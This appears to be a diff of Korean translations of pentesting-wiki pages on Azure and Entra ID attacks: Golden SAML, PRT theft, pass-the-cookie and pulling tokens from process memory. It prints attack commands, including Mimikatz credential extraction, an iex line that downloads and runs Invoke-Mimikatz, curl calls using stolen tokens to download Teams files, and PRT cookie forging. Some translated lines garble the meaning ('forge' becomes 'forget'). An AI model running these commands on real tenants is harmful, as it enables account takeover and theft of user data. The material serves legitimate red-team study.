+**Identity Provider (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **서명**되거나 **암호화**될 수 있으며, **IdP의 개인 키**를 사용합니다. 이 절차는 **Service Provider (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다.

-[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다.
+[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 아이덴티티와 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자든 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다.

 골든 SAML은 몇 가지 장점을 제공합니다:

@@ -66,7 +66,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html

 #### AWS + AD FS + Golden SAML

-[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)는 신뢰할 수 있는 비즈니스 파트너 간의 **신원 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다. 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 신원을 공유할 수 있게 합니다.
+[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)는 신뢰할 수 있는 비즈니스 파트너 간의 **아이덴티티 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다. 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 아이덴티티를 공유할 수 있게 합니다.

 AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 **모든 권한을 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 접근만으로도 이 개인 키를 얻을 수 있습니다.

@@ -96,7 +96,7 @@ _굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입
 # Role Name
 (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
 ```
-모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장하고자 하는 사용자로서 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:**
+모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장 원하는 사용자로 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:**
 ```bash
 # Apply session for AWS cli
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -1,25 +1,21 @@
-# 하이브리드 아이덴티티 잡다한 공격
+# 하이브리드 아이덴티티 기타 공격

 {{#include ../../../../banners/hacktricks-training.md}}

-
 ## Entra ID 사용자의 온프레미스 동기화 강제

-[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)에서 언급된 바와 같이, 온프레미스 AD에서 AD 사용자의 **`ProxyAddress`** 값을 변경하여 Entra ID 관리자 사용자의 이메일을 추가하고 AD와 Entra ID의 UPN이 일치하도록 하는 것이 가능했습니다(다시 말해, 이것이 Entra ID입니다), 예를 들어 **`SMTP:admin@domain.onmicrosoft.com`**과 같이. 이렇게 하면 **이 사용자의 동기화를 강제**할 수 있습니다. Entra ID에서 온프레미스 AD로, 따라서 사용자의 비밀번호를 알고 있다면 Entra ID에서 관리자를 **접근할 수 있습니다.**
+[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)에서 언급된 바와 같이, 온프레미스 AD의 AD 사용자 내에서 **`ProxyAddress`** 값을 변경하여 Entra ID 관리자 사용자의 이메일을 추가하고 AD와 Entra ID의 UPN이 일치하도록 하는 것이 가능했습니다(다시 말해, 이것이 Entra ID입니다), 예를 들어 **`SMTP:admin@domain.onmicrosoft.com`**과 같이. 이렇게 하면 **이 사용자의 동기화를 강제**할 수 있습니다 Entra ID에서 온프레미스 AD로, 따라서 사용자의 비밀번호가 알려져 있다면 Entra ID에서 사용되는 관리자로 **접근할 수 있습니다.**

 Entra ID에서 온프레미스 AD로 새 사용자를 동기화하기 위한 요구 사항은 다음과 같습니다:

- 온프레미스 AD에서 사용자의 속성을 제어할 수 있어야 합니다(또는 새 사용자를 생성할 수 있는 권한이 있어야 함)
- Entra ID에서 온프레미스 AD로 동기화할 클라우드 전용 사용자를 알아야 합니다
+- 온프레미스 AD에서 사용자의 속성을 제어하거나 새 사용자를 생성할 수 있는 권한이 있어야 합니다.
+- Entra ID에서 온프레미스 AD로 동기화할 클라우드 전용 사용자를 알아야 합니다.
 - **하드 매치**를 수행하기 위해 Entra ID 사용자에서 온프레미스 AD 사용자로 immutableID 속성을 변경할 수 있어야 할 수도 있습니다.

-
 > [!CAUTION]
 > Entra ID는 더 이상 Entra ID에서 온프레미스 AD로 관리자를 동기화할 수 없습니다.
 > 또한, 이것은 **MFA를 우회하지 않습니다**.

-
-
 ## 참조

 - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
@@ -1,39 +1,59 @@
-# Az - 로컬 클라우드 자격 증명
+# Az - Local Cloud Credentials

 {{#include ../../../banners/hacktricks-training.md}}

-## 로컬 토큰 저장소 및 보안 고려 사항
+## Local Token Storage and Security Considerations

-### Azure CLI (명령줄 인터페이스)
+### Azure CLI (Command-Line Interface)

-토큰 및 민감한 데이터는 Azure CLI에 의해 로컬에 저장되어 보안 우려를 일으킵니다:
+토큰과 민감한 데이터는 Azure CLI에 의해 로컬에 저장되며, 보안 우려를 불러일으킵니다:

-1. **액세스 토큰**: `C:\Users\<username>\.Azure`에 위치한 `accessTokens.json`에 평문으로 저장됩니다.
-2. **구독 정보**: 동일한 디렉토리에 있는 `azureProfile.json`은 구독 세부 정보를 보유합니다.
-3. **로그 파일**: `.azure` 내의 `ErrorRecords` 폴더는 다음과 같은 노출된 자격 증명이 포함된 로그를 포함할 수 있습니다:
+1. **Access Tokens**: `C:\Users\<username>\.Azure`에 위치한 `accessTokens.json`에 평문으로 저장됩니다.
+2. **Subscription Information**: 같은 디렉토리에 있는 `azureProfile.json`은 구독 세부 정보를 보유합니다.
+3. **Log Files**: `.azure` 내의 `ErrorRecords` 폴더는 다음과 같은 노출된 자격 증명이 포함된 로그를 포함할 수 있습니다:
 - 자격 증명이 포함된 실행된 명령.
- 토큰을 사용하여 접근한 URL, 잠재적으로 민감한 정보를 드러낼 수 있습니다.
+- 토큰을 사용하여 접근한 URL, 민감한 정보를 드러낼 수 있습니다.

 ### Azure PowerShell

-Azure PowerShell 또한 로컬에서 접근할 수 있는 토큰 및 민감한 데이터를 저장합니다:
+Azure PowerShell 또한 로컬에서 접근할 수 있는 토큰과 민감한 데이터를 저장합니다:

-1. **액세스 토큰**: `C:\Users\<username>\.Azure`에 위치한 `TokenCache.dat`에 평문으로 액세스 토큰이 저장됩니다.
-2. **서비스 주체 비밀**: 이는 `AzureRmContext.json`에 암호화되지 않은 상태로 저장됩니다.
-3. **토큰 저장 기능**: 사용자는 `Save-AzContext` 명령을 사용하여 토큰을 지속적으로 저장할 수 있으며, 이는 무단 접근을 방지하기 위해 신중하게 사용해야 합니다.
+1. **Access Tokens**: `C:\Users\<username>\.Azure`에 위치한 `TokenCache.dat`에 평문으로 저장됩니다.
+2. **Service Principal Secrets**: 이는 `AzureRmContext.json`에 암호화되지 않은 상태로 저장됩니다.
+3. **Token Saving Feature**: 사용자는 `Save-AzContext` 명령을 사용하여 토큰을 지속적으로 저장할 수 있으며, 이는 무단 접근을 방지하기 위해 신중하게 사용해야 합니다.

-## 자동 도구로 찾기
+### Automatic Tools to find them

 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)

-## 보안 권장 사항
+## Tokens in memory

-민감한 데이터가 평문으로 저장되는 것을 고려할 때, 이러한 파일 및 디렉토리를 보호하는 것이 중요합니다:
+[**이 비디오**](https://www.youtube.com/watch?v=OHKZkXC4Duw)에서 설명된 바와 같이, 클라우드와 동기화된 일부 Microsoft 소프트웨어(Excel, Teams...)는 **메모리에 평문으로 액세스 토큰을 저장할 수 있습니다**. 따라서 프로세스의 **메모리를 덤프하고** **JWT 토큰을 검색하는 것**만으로도 MFA를 우회하여 피해자의 여러 리소스에 접근할 수 있습니다.

- 이러한 파일에 대한 접근 권한 제한.
- 무단 접근 또는 예상치 못한 변경에 대해 이러한 디렉토리를 정기적으로 모니터링하고 감사.
- 가능한 경우 민감한 파일에 대한 암호화 사용.
- 사용자가 이러한 민감한 정보를 처리하는 데 있어 위험 및 모범 사례에 대해 교육. 
+단계:
+
+1. 좋아하는 도구를 사용하여 EntraID 사용자와 동기화된 Excel 프로세스를 덤프합니다.
+2. `string excel.dmp | grep 'eyJ0'`를 실행하고 출력에서 여러 토큰을 찾습니다.
+3. 가장 관심 있는 토큰을 찾아 도구를 실행합니다:
+```bash
+# Check the identity of the token
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
+
+# Check the email (you need a token authorized in login.microsoftonline.com)
+curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
+
+# Download a file from Teams
+## You need a token that can access graph.microsoft.com
+## Then, find the <site_id> inside the memory and call
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
+
+## Then, list one drive
+curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
+
+## Finally, download a file from that drive:
+curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+```
+**이러한 종류의 액세스 토큰은 다른 프로세스 내에서도 발견될 수 있습니다.**

 {{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Azure에 가입된 머신에서는 두 머신이 **NegoEx** 인증 메커니즘
 - 클라이언트는 PRT 및 기타 세부 정보를 포함하는 JSON Web Token (JWT) 헤더를 생성하고, 파생 키(세션 키와 보안 컨텍스트를 사용하여)로 서명한 후 **Entra ID에 전송**합니다.
 - Entra ID는 클라이언트 세션 키와 보안 컨텍스트를 사용하여 JWT 서명을 검증하고, PRT의 유효성을 확인한 후 **인증서**로 **응답**합니다.

-이 시나리오에서 [**Pass the PRT**](pass-the-prt.md) 공격에 필요한 모든 정보를 확보한 후:
+이 시나리오에서 [**Pass the PRT**](az-primary-refresh-token-prt.md) 공격에 필요한 모든 정보를 확보한 후:

 - 사용자 이름
 - 테넌트 ID
@@ -20,7 +20,7 @@ Azure에 가입된 머신에서는 두 머신이 **NegoEx** 인증 메커니즘
 - 보안 컨텍스트
 - 파생 키

-사용자를 위한 **P2P 인증서**를 요청할 수 있습니다. 도구 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
+도구 [**PrtToCert**](https://github.com/morRubin/PrtToCert)**를 사용하여 사용자를 위한 **P2P 인증서**를 **요청**할 수 있습니다.
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
@@ -2,9 +2,9 @@

 {{#include ../../../banners/hacktricks-training.md}}

-## 왜 쿠키인가요?
+## 왜 쿠키인가?

-브라우저 **쿠키**는 **인증 및 MFA를 우회하는** 훌륭한 메커니즘입니다. 사용자가 이미 애플리케이션에서 인증을 받았기 때문에, 세션 **쿠키**를 사용하여 재인증 없이 해당 사용자로서 **데이터에 접근**할 수 있습니다.
+브라우저 **쿠키**는 **인증 및 MFA를 우회하는** 훌륭한 메커니즘입니다. 사용자가 이미 애플리케이션에 인증되었기 때문에, 세션 **쿠키**는 재인증 없이 해당 사용자로서 **데이터에 접근하는** 데 사용될 수 있습니다.

 **브라우저 쿠키가 어디에 위치하는지** 확인할 수 있습니다:

@@ -14,19 +14,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens

 ## 공격

-도전적인 부분은 이러한 **쿠키가 사용자**를 위해 Microsoft Data Protection API (**DPAPI**)로 **암호화되어 있다는** 것입니다. 이는 쿠키가 속한 사용자와 연결된 암호화 [키를 사용하여](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 암호화됩니다. 이에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
+도전적인 부분은 이러한 **쿠키가 사용자**를 위해 Microsoft 데이터 보호 API (**DPAPI**)로 **암호화되어** 있다는 것입니다. 이는 쿠키가 속한 사용자와 관련된 암호화 [키를 사용하여](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 암호화됩니다. 이에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:

 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
 {{#endref}}

-Mimikatz를 사용하면, 이 명령어로 **사용자의 쿠키를 추출**할 수 있습니다.
+Mimikatz를 사용하면, 이 명령어로 **사용자의 쿠키를 추출할 수** 있습니다:
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
-Azure에서는 **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, **`ESTSAUTHLIGHT`**를 포함한 인증 쿠키에 주의해야 합니다. 이는 사용자가 최근에 Azure에서 활동했기 때문입니다.
+Azure에서는 **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, **`ESTSAUTHLIGHT`**를 포함한 인증 쿠키에 주의해야 합니다. 이는 사용자가 최근에 Azure에서 활동했음을 나타냅니다.

-login.microsoftonline.com으로 이동하여 쿠키 **`ESTSAUTHPERSISTENT`**(“Stay Signed In” 옵션으로 생성됨) 또는 **`ESTSAUTH`**를 추가하면 인증됩니다.
+login.microsoftonline.com으로 이동하여 **`ESTSAUTHPERSISTENT`**(“Stay Signed In” 옵션으로 생성됨) 또는 **`ESTSAUTH`** 쿠키를 추가하면 인증됩니다.

 ## References

@@ -2,49 +2,49 @@

 {{#include ../../../banners/hacktricks-training.md}}

-## Primary Refresh Token (PRT)란 무엇인가요?
+## What is a Primary Refresh Token (PRT)?

-**Primary Refresh Token (PRT)**는 Azure AD (Entra ID) 인증에 사용되는 장기 생명 주기의 리프레시 토큰으로, Kerberos TGT와 유사합니다. Azure AD에 가입된 장치에서 사용자 로그인이 이루어질 때 발급되며, 자격 증명을 다시 요청하지 않고도 다양한 애플리케이션에 대한 액세스 토큰을 요청하는 데 사용될 수 있습니다. 각 PRT는 **세션 키**(소유 증명 키라고도 함)와 함께 제공됩니다. 이는 요청에 서명하고 클라이언트가 PRT를 보유하고 있음을 증명하는 데 사용되는 대칭 키입니다. PRT 자체는 불투명하고 암호화된 블롭(클라이언트가 읽을 수 없음)이며, 세션 키는 토큰 요청 시 PRT를 포함하는 JWT를 **서명**하는 데 사용됩니다. 다시 말해, PRT만으로는 충분하지 않으며, 공격자는 합법성을 증명하기 위해 세션 키가 필요합니다. 이는 Kerberos TGT와 그 세션 키가 모두 필요하다는 점과 유사합니다.
+A **Primary Refresh Token (PRT)**는 Azure AD (Entra ID) 인증에 사용되는 장기 생명 주기의 리프레시 토큰으로, Kerberos TGT와 유사합니다. 이는 Azure AD에 가입된 장치에서 사용자 로그인이 이루어질 때 발급되며, 자격 증명을 다시 요청하지 않고도 다양한 애플리케이션에 대한 액세스 토큰을 요청하는 데 사용될 수 있습니다. 각 PRT는 **세션 키**(소유 증명 키라고도 함)와 함께 제공됩니다. 이는 요청에 서명하고 클라이언트가 PRT를 보유하고 있음을 증명하는 데 사용되는 대칭 키입니다. PRT 자체는 불투명하고 암호화된 블롭(클라이언트가 읽을 수 없음)이며, 세션 키는 토큰 요청 시 PRT를 포함하는 JWT를 **서명**하는 데 사용됩니다. 다시 말해, PRT만 보유하는 것으로는 충분하지 않으며, 공격자는 합법성을 증명하기 위해 세션 키가 필요합니다. 이는 Kerberos TGT와 그 세션 키가 모두 필요하다는 것과 유사합니다.

-Windows에서는 PRT와 세션 키가 CloudAP 플러그인을 통해 LSASS 프로세스에 캐시됩니다. 장치에 **TPM**(신뢰할 수 있는 플랫폼 모듈)이 있는 경우, Azure AD는 추가 보안을 위해 키를 TPM에 바인딩합니다. 이는 TPM이 장착된 장치에서 세션 키가 TPM 내에 저장되거나 사용되어 일반적인 상황에서는 메모리에서 직접 읽을 수 없음을 의미합니다. TPM이 없는 경우(예: 많은 VM 또는 구형 시스템) 키는 소프트웨어에 보관되며 DPAPI 암호화로 보호됩니다. 두 경우 모두, 관리 권한이나 코드 실행 권한이 있는 공격자는 **메모리에서 PRT와 세션 키를 덤프**하려고 시도할 수 있으며, 이를 사용하여 클라우드에서 사용자를 가장할 수 있습니다. 일반적인 리프레시 토큰(일반적으로 애플리케이션 특정)과 달리, PRT는 더 넓은 범위를 가지며, 장치가 거의 모든 Entra ID 통합 리소스나 서비스에 대한 토큰을 요청할 수 있도록 합니다.
+Windows에서는 PRT와 세션 키가 CloudAP 플러그인을 통해 LSASS 프로세스에 캐시됩니다. 장치에 **TPM**(신뢰할 수 있는 플랫폼 모듈)이 있는 경우, Azure AD는 추가 보안을 위해 키를 TPM에 바인딩합니다. 이는 TPM이 장착된 장치에서 세션 키가 TPM 내에 저장되거나 사용되어 일반적인 상황에서 메모리에서 직접 읽을 수 없음을 의미합니다. TPM이 없는 경우(예: 많은 VM 또는 구형 시스템) 키는 소프트웨어에 보관되며 DPAPI 암호화로 보호됩니다. 두 경우 모두, 관리 권한이나 코드 실행 권한이 있는 공격자는 **메모리에서 PRT와 세션 키를 덤프**하려고 시도할 수 있으며, 이를 사용하여 클라우드에서 사용자를 가장할 수 있습니다. 일반적인 리프레시 토큰(일반적으로 애플리케이션 특정)과 달리, PRT는 더 넓은 범위를 가지며, 장치가 거의 모든 Entra ID 통합 리소스나 서비스에 대한 토큰을 요청할 수 있도록 합니다.

-## PRT는 어떻게 작동하나요?
+## How Does a PRT Work?

-PRT의 작동 방식을 간단히 설명하면 다음과 같습니다:
+Here's a simplified breakdown of how a PRT operates:

-1.  **장치 등록:**
+1.  **Device Registration:**

-   Windows 노트북이나 모바일 전화와 같은 장치가 Entra ID에 가입하거나 등록할 때, 자격 증명(사용자 이름/비밀번호/MFA)을 사용하여 인증합니다.
+-   When your device (like a Windows laptop or mobile phone) joins or registers with Entra ID, it authenticates using your credentials (username/password/MFA).

-   인증이 성공하면, Entra ID는 특정 장치에 바인딩된 PRT를 발급합니다.
+-   Upon successful authentication, Entra ID issues a PRT bound specifically to your device.

-2.  **토큰 저장:**
+2.  **Token Storage:**

-   PRT는 장치에 안전하게 저장되며, 종종 신뢰할 수 있는 플랫폼 모듈(TPM)과 같은 하드웨어 기능으로 보호되어 무단 사용자가 추출하거나 악용하기 어렵습니다.
+-   The PRT is securely stored on your device, often protected by hardware features like the Trusted Platform Module (TPM), ensuring that it's difficult for unauthorized parties to extract or misuse.

-3.  **싱글 사인온(SSO):**
+3.  **Single Sign-On (SSO):**

-   Entra ID로 보호된 애플리케이션(예: Microsoft 365 앱, SharePoint, Teams)에 접근할 때마다, 장치는 저장된 PRT를 사용하여 해당 앱에 대한 특정 액세스 토큰을 요청하고 얻습니다.
+-   Each time you access an Entra ID-protected application (e.g., Microsoft 365 apps, SharePoint, Teams), your device silently uses the stored PRT to request and obtain a specific access token for that app.

-   PRT가 인증을 투명하게 처리하므로 자격 증명을 반복해서 입력할 필요가 없습니다.
+-   You don't need to enter your credentials repeatedly because the PRT transparently handles authentication.

-4.  **갱신 및 보안:**
+4.  **Renewal and Security:**

-   PRT는 긴 수명을 가지며(일반적으로 약 14일), 장치가 적극적으로 사용되는 한 지속적으로 갱신됩니다.
+-   PRTs have a long lifetime (typically around 14 days), but are continually renewed as long as your device is actively in use.

-   장치가 손상되거나 분실되면, 관리자는 원격으로 PRT를 취소하여 무단 접근을 즉시 차단할 수 있습니다.
+-   If your device becomes compromised or lost, administrators can revoke your PRT remotely, immediately blocking unauthorized access.

-### PRT가 강력한 이유는 무엇인가요?
+### Why are PRTs Powerful?

-   **범용 접근:** 일반적으로 하나의 앱이나 리소스에 제한된 토큰과 달리, PRT는 모든 Entra ID 통합 서비스에 대한 접근을 용이하게 합니다.
+-   **Universal Access:** Unlike typical tokens limited to one app or resource, a PRT can facilitate access to all Entra ID-integrated services.

-   **강화된 보안:** TPM과 같은 내장 하드웨어 보호 기능을 통해 PRT는 안전한 토큰 저장 및 사용을 보장합니다.
+-   **Enhanced Security:** With built-in hardware protections (like TPM), PRTs ensure secure token storage and usage.

-   **사용자 경험:** PRT는 빈번한 인증 프롬프트를 줄이고 진정한 원활한 SSO를 가능하게 하여 사용자 경험을 크게 향상시킵니다.
+-   **User Experience:** PRTs significantly improve the user experience by reducing frequent authentication prompts and enabling true seamless SSO.

-## PRT가 존재하는지 확인하는 방법은 무엇인가요?
+## How to know if a PRT is present?

- PRT가 존재하는지 확인하세요:
+- Check if PRT is present:
 ```bash
 # Execute
 dsregcmd /status
@@ -61,14 +61,22 @@ dsregcmd /status
 # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
 # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
 ```
-## Dump and user unprotected PRTs
+## PRT 전달

-According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **TPM 바인딩이 없는** 경우, PRT와 그 세션 키는 LSASS (CloudAP 플러그인)에 저장됩니다. 해당 장치에서 로컬 관리자/SYSTEM 권한을 가진 경우, PRT 블롭과 DPAPI로 암호화된 세션 키를 **LSASS에서 읽고, DPAPI를 통해 세션 키를 복호화하며, 서명 키를 유도**하여 유효한 PRT 쿠키(`x‑ms‑RefreshTokenCredential`)를 생성할 수 있습니다. PRT와 그 세션 키가 모두 필요하며, PRT 문자열만으로는 충분하지 않습니다.
+[이 게시물](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에 따르면 **TPM 바인딩이 없는** Windows 장치에서 PRT와 그 세션 키는 LSASS(CloudAP 플러그인)에 존재합니다. 해당 장치에서 로컬 관리자/SYSTEM 권한을 가지고 있으면 PRT 블롭과 DPAPI로 암호화된 세션 키를 **LSASS에서 읽고, DPAPI를 통해 세션 키를 복호화하며, 서명 키를 유도**하여 유효한 PRT 쿠키(`x‑ms‑RefreshTokenCredential`)를 생성할 수 있습니다. PRT와 그 세션 키가 모두 필요하며, PRT 문자열만으로는 충분하지 않습니다.

 ### Mimikatz
+
+1. **PRT(Primary Refresh Token)는 LSASS(로컬 보안 권한 하위 시스템 서비스)에서 추출되어 이후 사용을 위해 저장됩니다.**
+2. **세션 키가 다음으로 추출됩니다.** 이 키는 처음 발급된 후 로컬 장치에 의해 다시 암호화되므로 DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI(데이터 보호 API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 및 그 응용에 대한 이해는 [Pass-the-cookie 공격](az-pass-the-cookie.md)을 참조하십시오.
+3. 세션 키 복호화 후, **PRT에 대한 유도된 키와 컨텍스트가 얻어집니다.** 이는 **PRT 쿠키 생성에 필수적입니다.** 특히, 유도된 키는 쿠키를 구성하는 JWT(제이슨 웹 토큰)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공하였으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다.
 ```bash
 privilege::debug
 sekurlsa::cloudap
+
+# Or in powershell
+iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
+Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 ```
 **PRT 필드**는 암호화된 리프레시 토큰(일반적으로 base64 문자열)을 포함하고, ProofOfPossessionKey의 KeyValue는 DPAPI로 암호화된 세션 키(또한 base64)입니다.

@@ -78,14 +86,17 @@ sekurlsa::cloudap
 ```bash
 token::elevate
 dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+
+# PowerShell version
+Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
 ```
-`token::elevate`는 SYSTEM을 가장하고, `dpapi::cloudapkd` 명령어는 `/unprotect`와 함께 제공된 KeyValue blob을 복호화하기 위해 DPAPI 마스터 키를 사용합니다. 이는 평문 세션 키와 서명에 사용된 관련된 파생 키 및 컨텍스트를 생성합니다:
+`token::elevate`는 SYSTEM을 가장하고, `dpapi::cloudapkd` 명령어는 `/unprotect`와 함께 제공된 KeyValue blob을 해독하기 위해 DPAPI 마스터 키를 사용합니다. 이는 평문 세션 키와 서명에 사용된 관련된 파생 키 및 컨텍스트를 생성합니다:
 - **Clear key** – 평문으로 된 32바이트 세션 키(16진수 문자열로 표현됨).
- **Derived Key** – 세션 키와 컨텍스트 값에서 파생된 32바이트 키(아래에서 더 설명).
+- **Derived Key** – 세션 키와 컨텍스트 값에서 파생된 32바이트 키(자세한 내용은 아래 참조).
 - **Context** – PRT 쿠키의 서명 키를 파생할 때 사용된 24바이트 랜덤 컨텍스트.

 > [!NOTE]
-> 사용자를 가장하는 데 이 방법이 작동하지 않으면 **`AADInternals`**를 사용하는 다음 섹션을 확인하세요.
+> 사용자를 가장하는 데 이 방법이 작동하지 않는 경우, **`AADInternals`**를 사용하여 다음 섹션을 확인하십시오.

 그런 다음, mimikatz를 사용하여 유효한 PRT 쿠키를 생성할 수도 있습니다:
 ```bash
@@ -94,12 +105,11 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
 # PRT is obtained from sekurlsa::cloudap (filed "Prt"
 dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
 ```
-Mimikatz는 "Signature with key"라는 줄 이후에 서명된 JWT(`PRT cookie`)를 출력하며, 이 JWT는 PRT를 포함하고 파생된 키를 사용하여 서명됩니다. 이 JWT는 복사하여 웹 세션에서 사용할 수 있습니다. 예를 들어, 공격자는 브라우저를 열고 `login.microsoftonline.com`으로 이동한 다음, 이 JWT 값을 가진 `x-ms-RefreshTokenCredential`이라는 이름의 쿠키를 설정할 수 있습니다. 브라우저가 새로 고침되거나 탐색할 때, Azure AD는 세션을 인증된 것으로 간주하며(PRT 쿠키가 SSO가 발생한 것처럼 제시됨), 지정된 리소스에 대한 권한 부여 코드 또는 액세스 토큰을 발급합니다. 실제로는 Office 365 또는 Azure 포털과 같은 리소스로 이동하게 되며, 유효한 PRT 쿠키가 존재하면 Azure AD는 추가 로그인 없이 접근을 허용합니다(MFA를 우회하며, PRT는 이미 인증되었습니다).
+Mimikatz는 "Signature with key"라는 줄 다음에 서명된 JWT(`PRT cookie`)를 출력하며, 이 JWT는 PRT를 포함하고 파생된 키를 사용하여 서명됩니다. 이 JWT는 복사하여 웹 세션에서 사용할 수 있습니다. 예를 들어, 공격자는 브라우저를 열고 `login.microsoftonline.com`으로 이동한 다음, 이 JWT 값을 가진 `x-ms-RefreshTokenCredential`이라는 이름의 쿠키를 설정할 수 있습니다. 브라우저가 새로 고침되거나 탐색할 때 Azure AD는 세션을 인증된 것으로 간주하며(PRT 쿠키가 SSO가 발생한 것처럼 제시됨), 지정된 리소스에 대한 권한 부여 코드 또는 액세스 토큰을 발급합니다. 실제로는 Office 365 또는 Azure 포털과 같은 리소스로 이동하게 되며, 유효한 PRT 쿠키가 존재하면 Azure AD는 추가 로그인 없이 접근을 허용합니다(MFA를 우회하며, PRT는 이미 인증되었습니다).

 또한 **`roadtx`** 및 **`roadrecon`**을 PRT 쿠키의 PRT와 함께 사용하여 사용자를 가장할 수 있습니다 *(TODO: roadtx/roadrecon을 사용하여 PRT에서 자격 증명을 얻기 위한 정확한 명령어를 찾기)*.

-
-### AADInternals
+### Mimikatz + AADInternals

 **`AADInternals`** PowerShell 모듈은 이전에 얻은 PRT 및 세션 키와 함께 사용하여 유효한 PRT 토큰을 생성하는 데 사용할 수 있습니다. 이는 nonce가 있는 새로운 PRT 토큰을 얻는 프로세스를 자동화하는 데 유용하며, Azure AD Graph API 또는 기타 리소스에 대한 액세스 토큰을 가져오는 데 사용할 수 있습니다:
 ```bash
@@ -127,29 +137,48 @@ Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
 ```
